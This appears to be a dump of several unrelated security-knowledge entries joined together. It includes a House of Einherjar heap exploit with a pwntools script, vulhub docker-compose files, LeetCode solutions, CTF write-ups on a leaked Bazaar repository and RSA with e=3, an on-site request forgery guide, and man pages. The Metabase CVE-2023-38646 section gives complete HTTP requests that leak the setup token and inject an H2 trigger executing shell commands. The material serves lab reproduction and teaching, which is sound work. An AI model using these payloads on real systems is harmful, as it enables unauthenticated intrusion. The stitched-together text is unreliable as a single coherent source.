int main(void){
char* s0 = malloc(0x200); //构造fake chunk
char* s1 = malloc(0x18);
char* s2 = malloc(0xf0);
char* s3 = malloc(0x20); //为了不让s2与top chunk 合并
printf("begin\n");
printf("%p\n", s0);
printf("input s0\n");
read(0, s0, 0x200); //读入fake chunk
printf("input s1\n");
read(0, s1, 0x19); //Off By One
free(s2);
return 0;
}
```
攻击代码如下:
```python
from pwn import *
p = process("./example")
context.log_level = 'debug'
#gdb.attach(p)
p.recvuntil("begin\n")
address = int(p.recvline().strip(), 16)
p.recvuntil("input s0\n")
payload = p64(0) + p64(0x101) + p64(address) * 2 + "A"*0xe0
'''
p64(address) * 2是为了绕过
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr ("corrupted double-linked list");
'''
payload += p64(0x100) #fake size
p.sendline(payload)
p.recvuntil("input s1\n")
payload = "A"*0x10 + p64(0x220) + "\x00"
p.sendline(payload)
p.recvall()
p.close()
```
**注意这里绕过unlink检查的方法跟之前利用unlink漏洞时采用的方法不一样**
利用unlink漏洞的时候:
```c
p->fd = &p-3*4
p->bk = &p-2*4
```
在这里利用时,因为没有办法找到 `&p` ,所以直接让:
```c
p->fd = p
p->bk = p
```
**这里需要注意一个点:**
```python
payload = p64(0) + p64(0x101) + p64(address) * 2 + "A"*0xe0
```
其实修改为下面这样也是可以的:
```python
payload = p64(0) + p64(0x221) + p64(address) * 2 + "A"*0xe0
```
按照道理来讲 fake chunk 的 size 是 `0x221` 才合理,但是为什么 `0x101` 也可以呢?这是因为对 size 和 prev_size 的验证只发生在 unlink 里面,而 unlink 里面是这样验证的:
```c
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size");
```
所以只需要再伪造 fake chunk 的 next chunk 的 prev_size 字段就好了。
### 利用House Of Einherjar后向合并操作攻击总结
这里我们总结下这个利用技术需要注意的地方
- 需要有溢出漏洞可以写物理相邻的高地址的 prev_size 与 PREV_INUSE 部分。
- 我们需要计算目的 chunk 与 p1 地址之间的差,所以需要泄漏地址。
- 我们需要在目的 chunk 附近构造相应的 fake chunk,从而绕过 unlink 的检测。
其实,该技术与 chunk extend/shrink 技术比较类似。
|
sec-knowleage
|
version: '2'
services:
nginx:
image: vulhub/nginx:1.13.2
volumes:
- ./default.conf:/etc/nginx/conf.d/default.conf
ports:
- "8080:8080"
|
sec-knowleage
|
# Leetcode 题解 - 分治
<!-- GFM-TOC -->
* [Leetcode 题解 - 分治](#leetcode-题解---分治)
* [1. 给表达式加括号](#1-给表达式加括号)
* [2. 不同的二叉搜索树](#2-不同的二叉搜索树)
<!-- GFM-TOC -->
## 1. 给表达式加括号
241\. Different Ways to Add Parentheses (Medium)
[Leetcode](https://leetcode.com/problems/different-ways-to-add-parentheses/description/) / [力扣](https://leetcode-cn.com/problems/different-ways-to-add-parentheses/description/)
```html
Input: "2-1-1".
((2-1)-1) = 0
(2-(1-1)) = 2
Output : [0, 2]
```
```java
public List<Integer> diffWaysToCompute(String input) {
List<Integer> ways = new ArrayList<>();
for (int i = 0; i < input.length(); i++) {
char c = input.charAt(i);
if (c == '+' || c == '-' || c == '*') {
List<Integer> left = diffWaysToCompute(input.substring(0, i));
List<Integer> right = diffWaysToCompute(input.substring(i + 1));
for (int l : left) {
for (int r : right) {
switch (c) {
case '+':
ways.add(l + r);
break;
case '-':
ways.add(l - r);
break;
case '*':
ways.add(l * r);
break;
}
}
}
}
}
if (ways.size() == 0) {
ways.add(Integer.valueOf(input));
}
return ways;
}
```
## 2. 不同的二叉搜索树
95\. Unique Binary Search Trees II (Medium)
[Leetcode](https://leetcode.com/problems/unique-binary-search-trees-ii/description/) / [力扣](https://leetcode-cn.com/problems/unique-binary-search-trees-ii/description/)
给定一个数字 n,要求生成所有值为 1...n 的二叉搜索树。
```html
Input: 3
Output:
[
[1,null,3,2],
[3,2,null,1],
[3,1,null,null,2],
[2,1,3],
[1,null,2,null,3]
]
Explanation:
The above output corresponds to the 5 unique BST's shown below:
1 3 3 2 1
\ / / / \ \
3 2 1 1 3 2
/ / \ \
2 1 2 3
```
```java
public List<TreeNode> generateTrees(int n) {
if (n < 1) {
return new LinkedList<TreeNode>();
}
return generateSubtrees(1, n);
}
private List<TreeNode> generateSubtrees(int s, int e) {
List<TreeNode> res = new LinkedList<TreeNode>();
if (s > e) {
res.add(null);
return res;
}
for (int i = s; i <= e; ++i) {
List<TreeNode> leftSubtrees = generateSubtrees(s, i - 1);
List<TreeNode> rightSubtrees = generateSubtrees(i + 1, e);
for (TreeNode left : leftSubtrees) {
for (TreeNode right : rightSubtrees) {
TreeNode root = new TreeNode(i);
root.left = left;
root.right = right;
res.add(root);
}
}
}
return res;
}
```
|
sec-knowleage
|
# My First Blog
Web, 150 points
## Description:
A link to a website containing the following text was provided:
> #### My Blog
> Just a spot for me to talk about how much I love Canonical
> #### I love Canonical
> As someone who is just getting started with Linux, I love Canonical. They build the easiest to use Linux distribution I can find, and they build so many useful tools. So far I've tried out
> * Juju - The worlds best configuration management tool!
> * Bazaar- The worlds best version control!
> * Ubuntu - The worlds best OS!
> * Launchpad - GitHub? Gross!
>
> #### Learning PHP
> recently learned about PHP and I can't stop switching everything over to it. In fact, this bldg is now powered by PHP, I think!! changed the file extension at least, and added a little PHP code below here. That should pretty much do it right? I have the PHP code commented out for now since I cant seem to get it to work right. I'll have to look into it later.
## Solution:
This blog seems to be written by a beginner making his first steps in the development world. It's a classic beginner's mistake to upload source control files to the web, making them world-accessible. He is using Bazaar (which is similar to git) - and by trying to access known Bazaar files under "/.bzr" we are able to get a successful response.
Now we can use a script like [DVCS-Pillage](https://github.com/evilpacket/DVCS-Pillage) to download the repository:
```console
~/utils/DVCS-Pillage/bzpillage.sh 138.247.13.106
```
We get the following directory structure:
```console
root@kali:/media/sf_CTFs/mitre/blog# tree -al 138.247.13.106/
138.247.13.106/
└── .bzr
├── branch
│ ├── branch.conf
│ ├── format
│ ├── last-revision
│ └── tags
├── branch-format
├── checkout
│ ├── conflicts
│ ├── dirstate
│ ├── format
│ ├── lock
│ ├── merge-hashes
│ └── views
└── repository
├── format
├── indices
│ ├── c325a543411b3717bd63b6cc879e3d50.cix
│ ├── c325a543411b3717bd63b6cc879e3d50.iix
│ ├── c325a543411b3717bd63b6cc879e3d50.rix
│ └── c325a543411b3717bd63b6cc879e3d50.tix
├── pack-names
└── packs
└── c325a543411b3717bd63b6cc879e3d50.pack
```
Let's check out the revision log:
```console
root@kali:/media/sf_CTFs/mitre/blog/138.247.13.106# bzr log
------------------------------------------------------------
revno: 1
committer: BZR Lover
branch nick: filePathTraversalEasy
timestamp: Thu 2018-12-06 13:48:25 -0500
message:
BZR is so cool!
```
Just one commit, let's take it:
```console
root@kali:/media/sf_CTFs/mitre/blog/138.247.13.106# bzr revert -r 1
* index.php
```
What does `index.php` contain?
```console
root@kali:/media/sf_CTFs/mitre/blog/138.247.13.106# cat index.php | grep MCA
// Flag is MCA{canonical_is_literally_my_favorite_company_in_the_whole_world}
```
|
sec-knowleage
|
import base64
from time import time
import brotli
from crypto_commons.netcat.netcat_commons import nc, send, receive_until, receive_until_match
def main():
s = nc("37.139.4.247", 31337)
data = receive_until(s, "\n")
print(brotli.decompress(data.decode("base64")))
data = receive_until(s, "\n")
print(brotli.decompress(data.decode("base64")))
payload = int(time())
print(payload)
send(s, base64.b64encode(brotli.compress(str(payload))))
data = receive_until_match(s, "\n\n")
print(data)
data = receive_until(s, "\n")
print(brotli.decompress(data.decode("base64")))
data = receive_until(s, "\n")
print(brotli.decompress(data.decode("base64")))
data = receive_until(s, "\n")
print(brotli.decompress(data.decode("base64")))
send(s, base64.b64encode(brotli.compress("Y")))
data = receive_until(s, "\n")
decompressed = brotli.decompress(data.decode("base64"))
print('payload', decompressed)
send(s, base64.b64encode(brotli.compress(decompressed)))
data = receive_until(s, "\n")
decompressed = brotli.decompress(data.decode("base64"))
print(decompressed)
data = receive_until(s, "\n")
decompressed = brotli.decompress(data.decode("base64"))
print(decompressed)
main()
|
sec-knowleage
|
version: '3'
services:
web:
image: vulhub/imagemagick:7.0.8-27-php
command: php -t /var/www/html -S 0.0.0.0:8080
volumes:
- ./index.php:/var/www/html/index.php
ports:
- "8080:8080"
|
sec-knowleage
|
# Metabase Pre-Auth JDBC Remote Code Execution (CVE-2023-38646)
[中文版本(Chinese version)](README.zh-cn.md)
Metabase is an open source data analytics platform.
Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow unauthenticated attackers to execute arbitrary commands on the server, at the server's privilege level. This issue is caused by JDBC url attacks in the setup request.
References:
- <https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/>
- <https://blog.calif.io/p/reproducing-cve-2023-38646-metabase>
- <https://mp.weixin.qq.com/s/MgfIyq0OJwnKOUF2kBB7TA>
## Vulnerable environment
Execute following command to start a Metabase server 0.46.6:
```
docker compose up -d
```
After the server is started, you can browse the `http://your-ip:3000` to see the installation instructions like that:

Fill in your information, and skip the data source form.
## Exploit
Firstly, use following request to retrieve the `setup-token`:
```
GET /api/session/properties HTTP/1.1
Host: localhost:3000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36
Connection: close
Cache-Control: max-age=0
```

The vulnerability can only be exploited by obtaining this setup token.
Secondly, replace your `[setup-token]` into the following request then send it:
```
POST /api/setup/validate HTTP/1.1
Host: localhost:3000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 739
{
"token": "[setup-token]",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":
{},
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;",
"advanced-options": false,
"ssl": true,
"init": "CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('touch /tmp/success')\u000A$$"
},
"name": "an-sec-research-team",
"engine": "h2"
}
}
```
As you can see, `touch /tmp/success` has been executed successfully:

|
sec-knowleage
|
# On-Site Request Forgery (OSRF)
## Introduction
On-Site Request Forgery (OSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. The difference between CSRF is a vulnerability where an attacker initiates requests from domain under their control to perform actions on behalf of victim. However, in OSRF, requests originate from vulnerable application itself and we control where our requests go.
## Where to find
You can detect On-Site Request Forgery (OSRF) everywhere but there are 2 things that need to be looked up.
- Finding reflected input in `src` attribute. For example:
```html
<img src="OUR_INPUT_HERE">
<video width="400" height="200" controls src="OUR_INPUT_HERE">
<audio src="OUR_INPUT_HERE">
<iframe src="OUR_INPUT_HERE">
```
- There is a sensitive endpoint that using the GET method
```
GET /settings.php?remove_account=1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
...
```
## How to exploit
Imagine there is functionality in the website where the user can change their password. Here is the request
```
GET /change_password.php?new_password=Testing123
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
...
```
And then there is another functionality where we can control the value inside the `src` attribute, for example we can change our photo profile
```
POST /settings.php
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
...
---------------------------829348923824
Content-Disposition: form-data; name="filename"
testingimage.jpg
---------------------------829348923824
Content-Disposition: form-data; name="uploaded"; filename="testingimage.jpg"
Content-Type: image/gif
IMAGE_CONTENT
...
```
And if we check our public profile page, our input is reflected in the `src` attribute
```html
<div id="profile">
<p id="fullname">daffainfo</p>
<p id="address">Indonesia</p>
<img src="uploads/testingimage.jpg">
</div>
```
To exploit the website using this vulnerability, we need to change the filename from `testingimage.jpg` to `change_password.php?new_password=Testing123`. So, the result is
```html
<div id="profile">
<p id="fullname">daffainfo</p>
<p id="address">Indonesia</p>
<img src="../change_password.php?new_password=Testing123">
</div>
```
If another user visits our profile page, their password will automatically be changed to `Testing123`
## References:
* [Portswigger](https://portswigger.net/blog/on-site-request-forgery)
* [CM2](https://blog.cm2.pw/articles/on-site-request-forgery/)
|
sec-knowleage
|
# college-rowing-team
## Description
> I just joined my college's rowing team! To make a good first impression, I started sending my teammates positive automated messages every day. I even send them flags from time to time!
Two files were attached:
```python
#!/usr/bin/env python3
import random
from Crypto.Util.number import getPrime, bytes_to_long
with open('flag.txt', 'rb') as f:
flag = f.read()
msgs = [
b'I just cannot wait for rowing practice today!',
b'I hope we win that big rowing match next week!',
b'Rowing is such a fun sport!'
]
msgs.append(flag)
msgs *= 3
random.shuffle(msgs)
for msg in msgs:
p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 3
m = bytes_to_long(msg)
c = pow(m, e, n)
with open('encrypted-messages.txt', 'a') as f:
f.write(f'n: {n}\n')
f.write(f'e: {e}\n')
f.write(f'c: {c}\n\n')
```
```
n: 12426348204210593270343924563278821305386892683425418957350363905840484905896816630189546938112358425679727243103082954824537007026886458498690134225705484501535835385800730412220192564706251228021192115494699150390312107794005569764411063907390563937247515046052549753641884721864426154021041082461015103337120756347692245843318676049947569653604616584167536958803278688355036036887022591104659059883622072052793378468850702811804337808760402077376453702190206077039468600466511349923882037572540505571672225260106649075841827340894515208811788428239691505001675042096850318994923571686175381862745049100863883977473
e: 3
c: 5065488652323342174251548936130018278628515304559137485528400780060697119682927936946069625772269234638180036633146283242714689277793018059046463458498115311853401434289264038408827377579534270489217094049453933816452196508276029690068611901872786195723358744119490651499187556193711866091991489262948739533990000464588752544599393
n: 19928073532667002674271126242460424264678302463110874370548818138542019092428748404842979311103440183470341730391245820461360581989271804887458051852613435204857098017249255006951581790650329570721461311276897625064269097611296994752278236116594018565111511706468113995740555227723579333780825133947488456834006391113674719045468317242000478209048237262125983164844808938206933531765230386987211125968246026721916610034981306385276396371953013685639581894384852327010462345466019070637326891690322855254242653309376909918630162231006323084408189767751387637751885504520154800908122596020421247199812233589471220112129
e: 3
c: 86893891006724995283854813014390877172735163869036169496565461737741926829273252426484138905500712279566881578262823696620415864916590651557711035982810690227377784525466265776922625254135896966472905776613722370871107640819140591627040592402867504449339363559108090452141753194477174987394954897424151839006206598186417617292433784471465084923195909989
n: 13985338100073848499962346750699011512326742990711979583786294844886470425669389469764474043289963969088280475141324734604981276497038537100708836322845411656572006418427866013918729379798636491260028396348617844015862841979175195453570117422353716544166507768864242921758225721278003979256590348823935697123804897560450268775282548700587951487598672539626282196784513553910086002350034101793371250490240347953205377022300063974640289625028728548078378424148385027286992809999596692826238954331923568004396053037776447946561133762767800447991022277806874834150264326754308297071271019402461938938062378926442519736239
e: 3
c: 86893891006724995283854813014390877172735163869036169496565461737741926829273252426484138905500712279566881578262823696620415864916590651557711035982810690227377784525466265776922625254135896966472905776613722370871107640819140591627040592402867504449339363559108090452141753194477174987394954897424151839006206598186417617292433784471465084923195909989
n: 19594695114938628314229388830603768544844132388459850777761001630275366893884362012318651705573995962720323983057152055387059580452986042765567426880931775302981922724052340073927578619711314305880220746467095847890382386552455126586101506301413099830377279091457182155755872971840333906012240683526684419808580343325425793078160255607072901213979561554799496270708954359438916048029174155327818898336335540262711330304350220907460431976899556849537752397478305745520053275803008830388002531739866400985634978857874446527750647566158509254171939570515941307939440401043123899494711660946335200589223377770449028735883
e: 3
c: 5065488652323342174251548936130018278628515304559137485528400780060697119682927936946069625772269234638180036633146283242714689277793018059046463458498115311853401434289264038408827377579534270489217094049453933816452196508276029690068611901872786195723358744119490651499187556193711866091991489262948739533990000464588752544599393
n: 12091176521446155371204073404889525876314588332922377487429571547758084816238235861014745356614376156383931349803571788181930149440902327788407963355833344633600023056350033929156610144317430277928585033022575359124565125831690297194603671159111264262415101279175084559556136660680378784536991429981314493539364539693532779328875047664128106745970757842693549568630897393185902686036462324740537748985174226434204877493901859632719320905214814513984041502139355907636120026375145132423688329342458126031078786420472123904754125728860419063694343614392723677636114665080333174626159191829467627600232520864728015961207
e: 3
c: 301927034179130315172951479434750678833634853032331571873622664841337454556713005601858152523700291841415874274186191308636935232309742600657257783870282807784519336918511713958804608229440141151963841588389502276162366733982719267670094167338480873020791643860930493832853048467543729024717103511475500012196697609001154401
n: 19121666910896626046955740146145445167107966318588247850703213187413786998275793199086039214034176975548304646377239346659251146907978120368785564098586810434787236158559918254406674657325596697756783544837638305550511428490013226728316473496958326626971971356583273462837171624519736741863228128961806679762818157523548909347743452236866043900099524145710863666750741485246383193807923839936945961137020344124667295617255208668901346925121844295216273758788088883216826744526129511322932544118330627352733356335573936803659208844366689011709371897472708945066317041109550737511825722041213430818433084278617562166603
e: 3
c: 38999477927573480744724357594313956376612559501982863881503907194813646795174312444340693051072410232762895994061399222849450325021561935979706475527169503326744567478138877010606365500800690273
n: 13418736740762596973104019538568029846047274590543735090579226390035444037972048475994990493901009703925021840496230977791241064367082248745077884860140229573097744846674464511874248586781278724368902508880232550363196125332007334060198960815141256160428342285352881398476991478501510315021684774636980366078533981139486237599681094475934234215605394201283718335229148367719703118256598858595776777681347337593280391052515991784851827621657319164805164988688658013761897959597961647960373018373955633439309271548748272976729429847477342667875183958981069315601906664672096776841682438185369260273501519542893405128843
e: 3
c: 38999477927573480744724357594313956376612559501982863881503907194813646795174312444340693051072410232762895994061399222849450325021561935979706475527169503326744567478138877010606365500800690273
n: 11464859840071386874187998795181332312728074122716799062981080421188915868236220735190397594058648588181928124991332518259177909372407829352545954794824083851124711687829216475448282589408362385114764290346196664002188337713751542277587753067638161636766297892811393667196988094100002752743054021009539962054210885806506140497869746682404059274443570436700825435628817817426475943873865847012459799284263343211713809567841907491474908123827229392305117614651611218712810815944801398564599148842933378612548977451706147596637225675719651726550873391280782279097513569748332831819616926344025355682272270297510077861213
e: 3
c: 38999477927573480744724357594313956376612559501982863881503907194813646795174312444340693051072410232762895994061399222849450325021561935979706475527169503326744567478138877010606365500800690273
n: 21079224330416020275858215994125438409920350750828528428653429418050688406373438072692061033602698683604056177670991486330201941071320198633550189417515090152728909334196025991131427459901311579710493651699048138078456234816053539436726503461851093677741327645208285078711019158565296646858341000160387962592778531522953839934806024839570625179579537606629110275080930433458691144426869886809362780063401674963129711723354189327628731665487157177939180982782708601880309816267314061257447780050575935843160596133370063252618488779123249496279022306973156821343257109347328064771311662968182821013519854248157720756807
e: 3
c: 301927034179130315172951479434750678833634853032331571873622664841337454556713005601858152523700291841415874274186191308636935232309742600657257783870282807784519336918511713958804608229440141151963841588389502276162366733982719267670094167338480873020791643860930493832853048467543729024717103511475500012196697609001154401
n: 22748076750931308662769068253035543469890821090685595609386711982925559973042348231161108618506912807763679729371432513862439311860465982816329852242689917043600909866228033526990181831690460395726449921264612636634984917361596257010708960150801970337017805161196692131098507198455206977607347463663083559561805065823088182032466514286002822511854823747204286303638719961067031142962653536148315879123067183501832837303731109779836127520626791254669462630052241934836308543513534520718206756591694480011760892620054163997231711364648699030108110266218981661196887739673466188945869132403569916138510676165684240183111
e: 3
c: 5065488652323342174251548936130018278628515304559137485528400780060697119682927936946069625772269234638180036633146283242714689277793018059046463458498115311853401434289264038408827377579534270489217094049453933816452196508276029690068611901872786195723358744119490651499187556193711866091991489262948739533990000464588752544599393
n: 15211900116336803732344592760922834443004765970450412208051966274826597749339532765578227573197330047059803101270880541680131550958687802954888961705393956657868884907645785512376642155308131397402701603803647441382916842882492267325851662873923175266777876985133649576647380094088801184772276271073029416994360658165050186847216039014659638983362906789271549086709185037174653379771757424215077386429302561993072709052028024252377809234900540361220738390360903961813364846209443618751828783578017709045913739617558501570814103979018207946181754875575107735276643521299439085628980402142940293152962612204167653199743
e: 3
c: 301927034179130315172951479434750678833634853032331571873622664841337454556713005601858152523700291841415874274186191308636935232309742600657257783870282807784519336918511713958804608229440141151963841588389502276162366733982719267670094167338480873020791643860930493832853048467543729024717103511475500012196697609001154401
n: 21920948973299458738045404295160882862610665825700737053514340871547874723791019039542757481917797517039141169591479170760066013081713286922088845787806782581624491712703646267369882590955000373469325726427872935253365913397944180186654880845126957303205539301069768887632145154046359203259250404468218889221182463744409114758635646234714383982460599605335789047488578641238793390948534816976338377433533003184622991479234157434691635609833437336353417201442828968447500119160169653140572098207587349003837774078136718264889636544528530809416097955593693611757015411563969513158773239516267786736491123281163075118193
e: 3
c: 86893891006724995283854813014390877172735163869036169496565461737741926829273252426484138905500712279566881578262823696620415864916590651557711035982810690227377784525466265776922625254135896966472905776613722370871107640819140591627040592402867504449339363559108090452141753194477174987394954897424151839006206598186417617292433784471465084923195909989
```
## Solution
We can see that together with the flag, we have three more plaintext messages that are encrypted:
```python
b'I just cannot wait for rowing practice today!',
b'I hope we win that big rowing match next week!',
b'Rowing is such a fun sport!'
```
We get all the encryption results but we don't know which ciphertext corresponds to which plaintext.
The challenge name hints towards using the Chinese remainder theorem. The simplest way to automatically solve this challenge is to use `RsaCtfTool` on the ciphertexts until it decrypts the flag:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/college-rowing-team]
└─$ ~/utils/crypto/RsaCtfTool/RsaCtfTool.py -n 19928073532667002674271126242460424264678302463110874370548818138542019092428748404842979311103440183470341730391245820461360581989271804887458051852613435204857098017249255006951581790650329570721461311276897625064269097611296994752278236116594018565111511706468113995740555227723579333780825133947488456834006391113674719045468317242000478209048237262125983164844808938206933531765230386987211125968246026721916610034981306385276396371953013685639581894384852327010462345466019070637326891690322855254242653309376909918630162231006323084408189767751387637751885504520154800908122596020421247199812233589471220112129 -e 3 --uncipher 86893891006724995283854813014390877172735163869036169496565461737741926829273252426484138905500712279566881578262823696620415864916590651557711035982810690227377784525466265776922625254135896966472905776613722370871107640819140591627040592402867504449339363559108090452141753194477174987394954897424151839006206598186417617292433784471465084923195909989
private argument is not set, the private key will not be displayed, even if recovered.
[*] Testing key /tmp/tmppdy7hjc0.
[*] Performing factordb attack on /tmp/tmppdy7hjc0.
[*] Performing mersenne_primes attack on /tmp/tmppdy7hjc0.
100%|██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 51/51 [00:05<00:00, 9.68it/s]
[*] Performing smallq attack on /tmp/tmppdy7hjc0.
[*] Performing fibonacci_gcd attack on /tmp/tmppdy7hjc0.
100%|███████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 9999/9999 [00:00<00:00, 26631.56it/s]
[*] Performing system_primes_gcd attack on /tmp/tmppdy7hjc0.
100%|██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 7007/7007 [00:00<00:00, 103281.91it/s]
[*] Performing pastctfprimes attack on /tmp/tmppdy7hjc0.
100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 113/113 [00:00<00:00, 183704.01it/s]
[*] Performing cube_root attack on /tmp/tmppdy7hjc0.
[*] Performing ecm2 attack on /tmp/tmppdy7hjc0.
[*] Performing wiener attack on /tmp/tmppdy7hjc0.
100%|█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 3/3 [00:00<00:00, 56679.78it/s]
100%|█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 3/3 [00:00<00:00, 82782.32it/s]
[*] Performing z3_solver attack on /tmp/tmppdy7hjc0.
[*] Performing partial_q attack on /tmp/tmppdy7hjc0.
[*] Performing mersenne_pm1_gcd attack on /tmp/tmppdy7hjc0.
100%|███████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 2045/2045 [00:00<00:00, 21196.81it/s]
[*] Performing SQUFOF attack on /tmp/tmppdy7hjc0.
[!] Timeout.
[*] Performing qicheng attack on /tmp/tmppdy7hjc0.
[*] Performing primorial_pm1_gcd attack on /tmp/tmppdy7hjc0.
100%|██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 10000/10000 [00:02<00:00, 3962.22it/s]
[*] Performing wolframalpha attack on /tmp/tmppdy7hjc0.
[*] Performing noveltyprimes attack on /tmp/tmppdy7hjc0.
100%|███████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 21/21 [00:00<00:00, 71262.45it/s]
[*] Performing fermat attack on /tmp/tmppdy7hjc0.
[!] Timeout.
[*] Performing small_crt_exp attack on /tmp/tmppdy7hjc0.
[*] Performing boneh_durfee attack on /tmp/tmppdy7hjc0.
[*] Performing pollard_p_1 attack on /tmp/tmppdy7hjc0.
0%| | 0/168 [00:01<?, ?it/s]
[*] Performing comfact_cn attack on /tmp/tmppdy7hjc0.
[*] Performing fermat_numbers_gcd attack on /tmp/tmppdy7hjc0.
0%|▍ | 30/9999 [00:32<3:51:18, 1.39s/it][!] Timeout.
0%|▍ | 30/9999 [01:00<5:32:20, 2.00s/it]
[*] Performing siqs attack on /tmp/tmppdy7hjc0.
[*] Performing pollard_rho attack on /tmp/tmppdy7hjc0.
[!] Timeout.
[*] Performing roca attack on /tmp/tmppdy7hjc0.
[-] This key is not roca, skiping test...
[*] Performing londahl attack on /tmp/tmppdy7hjc0.
26%|████████████████████████████████████████ | 5166294/20000001 [00:50<2:40:36, 1539.37it/s][!] Timeout.
26%|████████████████████████████████████████▎ | 5166295/20000001 [01:27<04:10, 59207.86it/s]
[*] Performing cm_factor attack on /tmp/tmppdy7hjc0.
100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 6/6 [00:03<00:00, 1.74it/s]
[*] Performing neca attack on /tmp/tmppdy7hjc0.
Can't load neca because neca binary is not installed
[*] Performing euler attack on /tmp/tmppdy7hjc0.
[!] Timeout.
[*] Performing smallfraction attack on /tmp/tmppdy7hjc0.
[*] Performing binary_polinomial_factoring attack on /tmp/tmppdy7hjc0.
[*] Performing ecm attack on /tmp/tmppdy7hjc0.
Results for /tmp/tmppdy7hjc0:
Unciphered data :
HEX : 0x7069636f4354467b315f67753373735f703330706c335f7034645f6d337373346733735f6630725f345f72333473306e7d
INT (big endian) : 4429245455869293815079972080083415826407263145486268640583411444889535104721282447026455386576187267483573457800687229
INT (little endian) : 4942210453539368652250844067913862968068035484862385496139787961201021885687598269635423492169717200393229464087259504
STR : b'picoCTF{1_gu3ss_p30pl3_p4d_m3ss4g3s_f0r_4_r34s0n}'
```
|
sec-knowleage
|
finger
===
用于查找并显示用户信息
## 补充说明
**finger命令** 用于查找并显示用户信息。包括本地与远端主机的用户皆可,帐号名称没有大小写的差别。单独执行finger指令,它会显示本地主机现在所有的用户的登陆信息,包括帐号名称,真实姓名,登入终端机,闲置时间,登入时间以及地址和电话。
### 语法
```shell
finger(选项)(参数)
```
### 选项
```shell
-l:列出该用户的帐号名称,真实姓名,用户专属目录,登入所用的Shell,登入时间,转信地址,电子邮件状态,还有计划文件和方案文件内容;
-m:排除查找用户的真实姓名;
-s:列出该用户的帐号名称,真实姓名,登入终端机,闲置时间,登入时间以及地址和电话;
-p:列出该用户的帐号名称,真实姓名,用户专属目录,登入所用的Shell,登入时间,转信地址,电子邮件状态,但不显示该用户的计划文件和方案文件内容。
```
不指定finger的选项如果提供操作者的话,缺省设为`-l`输出风格,否则为`-s`风格,注意在两种格式中,如果信息不足,都有一些域可能丢失,如果没有指定参数finger会为当前登录的每个用户打印一个条目。
### 参数
用户名:指定要查询信息的用户。
### 实例
在计算机上使用finger:
```shell
[root@localhost root]# finger
login Name Tty Idle Login time Office Office Phone
root root tty1 2 Dec 18 13
root root pts/0 1 Dec 18 13
root root *pts/1 Dec 18 13
```
如果要查询远程机上的用户信息,需要在用户名后面接`@主机名`,采用`用户名@主机名`的格式,不过要查询的网络主机需要运行finger守护进程的支持。
|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH ARCH 1 2022年9月 "GNU coreutils 9.1" 用户命令
.SH 名称
arch \- 显示机器的体系结构(等价于 uname \-m)
.SH 概述
\fBarch\fP [\fI\,选项\/\fP]...
.SH 描述
.\" Add any additional description here
.PP
显示机器的体系结构。
.TP
\fB\-\-help\fP
显示此帮助信息并退出
.TP
\fB\-\-version\fP
显示版本信息并退出
.SH 作者
由 David MacKenzie 和 Karel Zak 编写。
.SH 报告错误
GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/>
.br
请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。
.SH 版权
Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL
version 3 or later <https://gnu.org/licenses/gpl.html>.
.br
This is free software: you are free to change and redistribute it. There is
NO WARRANTY, to the extent permitted by law.
.SH 参见
\fBuname\fP(1), \fBuname\fP(2)
.PP
.br
完整文档请见: <https://www.gnu.org/software/coreutils/arch>
.br
或者在本地使用: info \(aq(coreutils) arch invocation\(aq
|
sec-knowleage
|
### DLL 文件脱壳举例
这里需要联系 [手动查找IAT并使用ImportREC重建](/reverse/unpack/manually-fix-iat/index.html)
例题文件你可以点击此处下载: [unpack_dll.zip](https://github.com/ctf-wiki/ctf-challenges/blob/master/reverse/unpack/example/unpack_dll.zip)
